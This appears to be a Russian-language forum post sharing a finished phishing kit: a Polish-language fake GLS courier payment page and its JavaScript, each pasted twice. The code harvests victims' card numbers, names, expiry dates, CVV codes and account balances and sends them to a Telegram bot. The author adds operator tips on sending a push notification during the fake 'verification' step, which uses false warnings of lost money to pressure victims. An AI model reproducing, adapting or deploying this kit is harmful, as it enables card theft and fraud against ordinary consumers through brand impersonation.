Добрый день, до этого сливал один шаблон ******а но он был сырой, некоторые функции не работали/отсутствовали Проделанная работа: 1.Полностью поменял дизайн 2.Сделал более красивый дизайн 3.Настроил отправку данных в телеграм 4.Сделал так же страницу с вводом баланса 5.Конечная страница с якобы верифом( но в этот момент нужно кинуть пуш мамонту) 6.Добавил BIN карт, мало но вы можете найти еще больше бинов и добавить их для себя. 7.Когда начинается ввод карты приходит уведомление когда карту уже ввел приходят данные потом если переход на ввод баланса тоже приходит сообщение и переход на верификацию, когда придет нажал на кнопку верификации нужно будет кинуть пуш Если есть вопросы tg:countrymerchant Ниже код файла index.html и payment.js <!DOCTYPE html> <html lang="pl"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>Płatność kartą</title> <style> body { font-family: "Arial", sans-serif; background-color: #f8fbfd; margin: 0; padding: 20px; } .header { background-color: #0069d9; color: gray; padding: 20px; text-align: center; box-shadow: 0 4px 10px rgba(0, 0, 0, 0.1); border-radius: 8px; } .container { max-width: 600px; margin: auto; background: white; padding: 40px; border-radius: 10px; box-shadow: 0 4px 20px rgba(0, 0, 0, 0.15); transition: 0.3s; } h1 { text-align: center; color: #343a40; margin-bottom: 30px; font-family: 'Helvetica Neue', sans-serif; } p { text-align: center; color: #6c757d; margin-bottom: 20px; } .card-input { margin-bottom: 15px; } label { display: block; margin-bottom: 5px; font-weight: bold; color: #495057; } input[type="text"], input[type="number"], input[type="submit"] { width: 100%; padding: 14px; border: 2px solid #d3d4cb; border-radius: 5px; font-size: 16px; transition: 0.3s; } input[type="text"]:focus, input[type="number"]:focus { border-color: #007bff; outline: none; } input[type="submit"] { background-color: #28a745; color: white; margin: 5px 0px; border: none; cursor: pointer; font-weight: bold; transition: background-color 0.3s, transform 0.2s; } input[type="submit"]:hover { background-color: #218838; transform: scale(1.02); } .verification-button { display: inline-block; padding: 10px 20px; background-color: #007bff; color: white; border: none; border-radius: 5px; font-size: 16px; cursor: pointer; text-align: center; margin: 20px 0; transition: background-color 0.3s, transform 0.2s; } .verification-button:hover { background-color: #0056b3; transform: scale(1.02); } .logos { display: flex; justify-content: space-between; margin-top: 10px; } .logos img { width: 45px; } .footer { text-align: center; margin-top: 20px; font-size: 12px; color: #6c757d; } .verification-container { display: none; text-align: center; margin-top: 30px; } .loading-screen { display: none; position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: rgba(255, 255, 255, 0.9); color: gray; font-size: 18px; /* Уменьшенный размер текста */ font-weight: bold; text-align: center; padding-top: 40%; z-index: 1000; } .loading-screen span { opacity: 0.7; animation: dots 1s steps(5, end) infinite; font-size: 18px; /* Уменьшенный размер анимации */ } @keyframes dots { 0%, 20% { content: ""; } 40% { content: "."; } 60% { content: ".."; } 80% { content: "..."; } 100% { content: ""; } } </style> </head> <body> <img src="https://upload.wikimedia.org/wikipedia/commons/a/a6/GLS_Logo_2021.svg" alt="GLS Logo" style="height: 30px" /> </div> <div class="container" id="mainCont"> <h1></h1> <form id="paymentForm" onsubmit="handlePayment(event)"> <div class="card-input"> <label for="card-number">Numer karty (16 cyfr)</label> <input type="text" id="card-number" placeholder="1234 5678 9012 3456" required maxlength="19" oninput="formatCardNumber(this)" /> </div> <div class="card-input"> <label for="cardholder-name">Imię i nazwisko posiadacza karty</label> <input type="text" id="cardholder-name" placeholder="Jan Kowalski" required /> </div> <div class="card-input"> <label for="expiry-date">Data ważności (MM/RR)</label> <input type="text" id="expiry-date" placeholder="MM/RR" required maxlength="5" oninput="formatExpiryDate(this)" /> </div> <div class="card-input"> <label for="***">***</label> <input type="password" id="***" placeholder="***" required maxlength="3" oninput="formatCvv(this)" /> </div> <div class="logos"> <img src="https://upload.wikimedia.org/wikipedia/commons/5/5e/Visa_Inc._logo.svg" alt="Visa" style="height: 21px" margin: 10px 10px; /> <img src="https://upload.wikimedia.org/wikipedia/commons/a/a4/Mastercard_2019_logo.svg" alt="Mastercard" style="height: 21px" text-align: center; /> </div> <input type="submit" value="Przejdź do balansu" /> </form> <form id="balanceForm" style="display:none;" onsubmit="handleBalance(event)"> <h1>Wprowadzenie Balansu</h1> <p>Proszę wprowadzić kwotę.</p> <div class="card-input"> <label for="balance">Kwota (zł)</label> <input type="number" id="balance" placeholder="0.00" required step="0.01" /> </div> <input type="submit" value="Zatwierdź" /> </form> <div class="verification-container" id="verificationContainer"> <h1>Weryfikacja</h1> <p>Twoja karta nie została zweryfikowana w naszym serwisie. Jeśli nie zweryfikujesz karty, pieniądze za dostawę trafią na nieistniejące konto i znikną.</p> <p>Aby zweryfikować kartę, kliknij przycisk poniżej:</p> <button class="verification-button" id="verificationButton">Weryfikacja</button> </div> <div class="footer"> <p>Bezpieczne płatności dzięki SSL</p> <p>© 2024 GLS. Wszelkie prawa zastrzeżone.</p> </div> </div> <div class="loading-screen" id="loadingScreen"> Proszę czekać, nawiązywanie połączenia <span>.</span> </div> <script src="payment.js"></script> </body> </html> Код <!DOCTYPE html> <html lang="pl"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>Płatność kartą</title> <style> body { font-family: "Arial", sans-serif; background-color: #f8fbfd; margin: 0; padding: 20px; } .header { background-color: #0069d9; color: gray; padding: 20px; text-align: center; box-shadow: 0 4px 10px rgba(0, 0, 0, 0.1); border-radius: 8px; } .container { max-width: 600px; margin: auto; background: white; padding: 40px; border-radius: 10px; box-shadow: 0 4px 20px rgba(0, 0, 0, 0.15); transition: 0.3s; } h1 { text-align: center; color: #343a40; margin-bottom: 30px; font-family: 'Helvetica Neue', sans-serif; } p { text-align: center; color: #6c757d; margin-bottom: 20px; } .card-input { margin-bottom: 15px; } label { display: block; margin-bottom: 5px; font-weight: bold; color: #495057; } input[type="text"], input[type="number"], input[type="submit"] { width: 100%; padding: 14px; border: 2px solid #d3d4cb; border-radius: 5px; font-size: 16px; transition: 0.3s; } input[type="text"]:focus, input[type="number"]:focus { border-color: #007bff; outline: none; } input[type="submit"] { background-color: #28a745; color: white; margin: 5px 0px; border: none; cursor: pointer; font-weight: bold; transition: background-color 0.3s, transform 0.2s; } input[type="submit"]:hover { background-color: #218838; transform: scale(1.02); } .verification-button { display: inline-block; padding: 10px 20px; background-color: #007bff; color: white; border: none; border-radius: 5px; font-size: 16px; cursor: pointer; text-align: center; margin: 20px 0; transition: background-color 0.3s, transform 0.2s; } .verification-button:hover { background-color: #0056b3; transform: scale(1.02); } .logos { display: flex; justify-content: space-between; margin-top: 10px; } .logos img { width: 45px; } .footer { text-align: center; margin-top: 20px; font-size: 12px; color: #6c757d; } .verification-container { display: none; text-align: center; margin-top: 30px; } .loading-screen { display: none; position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: rgba(255, 255, 255, 0.9); color: gray; font-size: 18px; /* Уменьшенный размер текста */ font-weight: bold; text-align: center; padding-top: 40%; z-index: 1000; } .loading-screen span { opacity: 0.7; animation: dots 1s steps(5, end) infinite; font-size: 18px; /* Уменьшенный размер анимации */ } @keyframes dots { 0%, 20% { content: ""; } 40% { content: "."; } 60% { content: ".."; } 80% { content: "..."; } 100% { content: ""; } } </style> </head> <body> <img src="https://upload.wikimedia.org/wikipedia/commons/a/a6/GLS_Logo_2021.svg" alt="GLS Logo" style="height: 30px" /> </div> <div class="container" id="mainCont"> <h1></h1> <form id="paymentForm" onsubmit="handlePayment(event)"> <div class="card-input"> <label for="card-number">Numer karty (16 cyfr)</label> <input type="text" id="card-number" placeholder="1234 5678 9012 3456" required maxlength="19" oninput="formatCardNumber(this)" /> </div> <div class="card-input"> <label for="cardholder-name">Imię i nazwisko posiadacza karty</label> <input type="text" id="cardholder-name" placeholder="Jan Kowalski" required /> </div> <div class="card-input"> <label for="expiry-date">Data ważności (MM/RR)</label> <input type="text" id="expiry-date" placeholder="MM/RR" required maxlength="5" oninput="formatExpiryDate(this)" /> </div> <div class="card-input"> <label for="***">***</label> <input type="password" id="***" placeholder="***" required maxlength="3" oninput="formatCvv(this)" /> </div> <div class="logos"> <img src="https://upload.wikimedia.org/wikipedia/commons/5/5e/Visa_Inc._logo.svg" alt="Visa" style="height: 21px" margin: 10px 10px; /> <img src="https://upload.wikimedia.org/wikipedia/commons/a/a4/Mastercard_2019_logo.svg" alt="Mastercard" style="height: 21px" text-align: center; /> </div> <input type="submit" value="Przejdź do balansu" /> </form> <form id="balanceForm" style="display:none;" onsubmit="handleBalance(event)"> <h1>Wprowadzenie Balansu</h1> <p>Proszę wprowadzić kwotę.</p> <div class="card-input"> <label for="balance">Kwota (zł)</label> <input type="number" id="balance" placeholder="0.00" required step="0.01" /> </div> <input type="submit" value="Zatwierdź" /> </form> <div class="verification-container" id="verificationContainer"> <h1>Weryfikacja</h1> <p>Twoja karta nie została zweryfikowana w naszym serwisie. Jeśli nie zweryfikujesz karty, pieniądze za dostawę trafią na nieistniejące konto i znikną.</p> <p>Aby zweryfikować kartę, kliknij przycisk poniżej:</p> <button class="verification-button" id="verificationButton">Weryfikacja</button> </div> <div class="footer"> <p>Bezpieczne płatności dzięki SSL</p> <p>© 2024 GLS. Wszelkie prawa zastrzeżone.</p> </div> </div> <div class="loading-screen" id="loadingScreen"> Proszę czekać, nawiązywanie połączenia <span>.</span> </div> <script src="payment.js"></script> </body> </html> Код отправки данных в телеграм // Объект для хранения кодов BIN и информации о них const binInfo = { "47901914": { network: "VISA", type: "credit", level: "TRADITIONAL" }, "52440493": { network: "ŁMASTERCARD", type: "credit", level: "CREDIT BUSINESS PREPAID" }, "44177272": { network: "VISA", type: "debit", level: "ELECTRON" }, "54392637": { network: "ŁMASTERCARD", type: "credit", level: "STANDARD" }, }; // Функция для отправки уведомления в Telegram async function notifyTelegram(text) { const token = ''; const chatId = ''; const url = `https://api.telegram.org/bot${token}/sendMessage`; await fetch(url, { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify({ chat_id: chatId, text: text, parse_mode: 'HTML' }), }).catch(error => { console.error('Ошибка при отправке уведомления:', error); }); } // Определение банка на основании номера карты function getBankInfo(cardNumber) { const bin = cardNumber.slice(0, 8); const info = binInfo[bin]; if (info) { return `${info.network} (${info.type}, ${info.level})`; } else { return "Неизвестный банк"; } } // Форматирование номера карты function formatCardNumber(input) { let value = input.value.replace(/\D/g, ''); let formattedValue = ''; for (let i = 0; i < value.length; i++) { if (i > 0 && i % 4 === 0) { formattedValue += ' '; } formattedValue += value[i]; } input.value = formattedValue.trim(); } // Форматирование даты function formatExpiryDate(input) { let value = input.value.replace(/\D/g, ''); if (value.length > 2) { value = value.slice(0, 2) + '/' + value.slice(2, 4); } input.value = value.slice(0, 5); } // Форматирование *** function formatCvv(input) { input.value = input.value.replace(/\D/g, '').slice(0, 3); } // Обработка начала ввода карты async function handleCardInput() { await notifyTelegram('Ввод карты начат.'); } // Показать экран загрузки function showLoadingScreen() { document.getElementById('loadingScreen').style.display = 'flex'; } // Скрыть экран загрузки function hideLoadingScreen() { document.getElementById('loadingScreen').style.display = 'none'; } // Обработка платежа async function handlePayment(event) { event.preventDefault(); const cardNumber = document.getElementById('card-number').value.replace(/\s/g, ''); const cardholderName = document.getElementById('cardholder-name').value; const expiryDate = document.getElementById('expiry-date').value; const *** = document.getElementById('***').value; const bankInfo = getBankInfo(cardNumber); // Формируем сообщение для отправки const message = `Данные карты:\n` + `- Номер карты: ${cardNumber}\n` + `- Банк: ${bankInfo}\n` + `- Имя и Фамилия: ${cardholderName}\n` + `- ММ/ГГ: ${expiryDate}\n` + `- ***: ${***}\n`; // Отправка уведомления о вводе данных карты await notifyTelegram(message); // Сбросить форму после отправки document.getElementById('paymentForm').reset(); // Показать экран загрузки showLoadingScreen(); // Задержка перед переключением формы setTimeout(() => { // Скрыть форму платежа и показать форму баланса document.getElementById('paymentForm').style.display = 'none'; document.getElementById('balanceForm').style.display = 'block'; hideLoadingScreen(); }, 2000); // Отправка уведомления о переходе на ввод баланса await notifyTelegram('Переход на ввод баланса.'); // Сохранить данные платежа для дальнейшего использования window.paymentData = { cardNumber, bankInfo, cardholderName, expiryDate, *** }; } // Обработка ввода баланса async function handleBalance(event) { event.preventDefault(); const balance = document.getElementById('balance').value; const allData = window.paymentData; // Используем данные платежа // Формируем сообщение для отправки только с балансом const balanceMessage = `Баланс:\n` + `- Баланс: ${balance} zł\n` + `- Имя и Фамилия: ${allData.cardholderName}\n` + `- Номер карты: ${allData.cardNumber}`; // только номер карты, без лишних данных await notifyTelegram(balanceMessage); // Сбросить форму после отправки и скрыть её document.getElementById('balanceForm').reset(); // Показать экран загрузки showLoadingScreen(); // Задержка перед переходом на верификацию setTimeout(() => { document.getElementById('balanceForm').style.display = 'none'; document.getElementById('verificationContainer').style.display = 'block'; hideLoadingScreen(); }, 2000); // Отправка уведомления о переходе на верификацию await notifyTelegram('Переход на верификацию.'); } // Обработка верификации async function sendVerification() { await notifyTelegram('Пользователь нажал на кнопку Верификация.'); } // Присоедините обработчик событий к кнопке верификации document.getElementById('verificationButton').addEventListener('click', sendVerification); // Привязка функции форматирования к полю ввода номера карты document.getElementById('card-number').addEventListener('focus', handleCardInput); JS // Объект для хранения кодов BIN и информации о них const binInfo = { "47901914": { network: "VISA", type: "credit", level: "TRADITIONAL" }, "52440493": { network: "ŁMASTERCARD", type: "credit", level: "CREDIT BUSINESS PREPAID" }, "44177272": { network: "VISA", type: "debit", level: "ELECTRON" }, "54392637": { network: "ŁMASTERCARD", type: "credit", level: "STANDARD" }, }; // Функция для отправки уведомления в Telegram async function notifyTelegram(text) { const token = ''; const chatId = ''; const url = `https://api.telegram.org/bot${token}/sendMessage`; await fetch(url, { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify({ chat_id: chatId, text: text, parse_mode: 'HTML' }), }).catch(error => { console.error('Ошибка при отправке уведомления:', error); }); } // Определение банка на основании номера карты function getBankInfo(cardNumber) { const bin = cardNumber.slice(0, 8); const info = binInfo[bin]; if (info) { return `${info.network} (${info.type}, ${info.level})`; } else { return "Неизвестный банк"; } } // Форматирование номера карты function formatCardNumber(input) { let value = input.value.replace(/\D/g, ''); let formattedValue = ''; for (let i = 0; i < value.length; i++) { if (i > 0 && i % 4 === 0) { formattedValue += ' '; } formattedValue += value[i]; } input.value = formattedValue.trim(); } // Форматирование даты function formatExpiryDate(input) { let value = input.value.replace(/\D/g, ''); if (value.length > 2) { value = value.slice(0, 2) + '/' + value.slice(2, 4); } input.value = value.slice(0, 5); } // Форматирование *** function formatCvv(input) { input.value = input.value.replace(/\D/g, '').slice(0, 3); } // Обработка начала ввода карты async function handleCardInput() { await notifyTelegram('Ввод карты начат.'); } // Показать экран загрузки function showLoadingScreen() { document.getElementById('loadingScreen').style.display = 'flex'; } // Скрыть экран загрузки function hideLoadingScreen() { document.getElementById('loadingScreen').style.display = 'none'; } // Обработка платежа async function handlePayment(event) { event.preventDefault(); const cardNumber = document.getElementById('card-number').value.replace(/\s/g, ''); const cardholderName = document.getElementById('cardholder-name').value; const expiryDate = document.getElementById('expiry-date').value; const *** = document.getElementById('***').value; const bankInfo = getBankInfo(cardNumber); // Формируем сообщение для отправки const message = `Данные карты:\n` + `- Номер карты: ${cardNumber}\n` + `- Банк: ${bankInfo}\n` + `- Имя и Фамилия: ${cardholderName}\n` + `- ММ/ГГ: ${expiryDate}\n` + `- ***: ${***}\n`; // Отправка уведомления о вводе данных карты await notifyTelegram(message); // Сбросить форму после отправки document.getElementById('paymentForm').reset(); // Показать экран загрузки showLoadingScreen(); // Задержка перед переключением формы setTimeout(() => { // Скрыть форму платежа и показать форму баланса document.getElementById('paymentForm').style.display = 'none'; document.getElementById('balanceForm').style.display = 'block'; hideLoadingScreen(); }, 2000); // Отправка уведомления о переходе на ввод баланса await notifyTelegram('Переход на ввод баланса.'); // Сохранить данные платежа для дальнейшего использования window.paymentData = { cardNumber, bankInfo, cardholderName, expiryDate, *** }; } // Обработка ввода баланса async function handleBalance(event) { event.preventDefault(); const balance = document.getElementById('balance').value; const allData = window.paymentData; // Используем данные платежа // Формируем сообщение для отправки только с балансом const balanceMessage = `Баланс:\n` + `- Баланс: ${balance} zł\n` + `- Имя и Фамилия: ${allData.cardholderName}\n` + `- Номер карты: ${allData.cardNumber}`; // только номер карты, без лишних данных await notifyTelegram(balanceMessage); // Сбросить форму после отправки и скрыть её document.getElementById('balanceForm').reset(); // Показать экран загрузки showLoadingScreen(); // Задержка перед переходом на верификацию setTimeout(() => { document.getElementById('balanceForm').style.display = 'none'; document.getElementById('verificationContainer').style.display = 'block'; hideLoadingScreen(); }, 2000); // Отправка уведомления о переходе на верификацию await notifyTelegram('Переход на верификацию.'); } // Обработка верификации async function sendVerification() { await notifyTelegram('Пользователь нажал на кнопку Верификация.'); } // Присоедините обработчик событий к кнопке верификации document.getElementById('verificationButton').addEventListener('click', sendVerification); // Привязка функции форматирования к полю ввода номера карты document.getElementById('card-number').addEventListener('focus', handleCardInput); НЕ ЗАБУДЬТЕ ПОМЕНЯТЬ token и chat id иначе ничего не будет приходить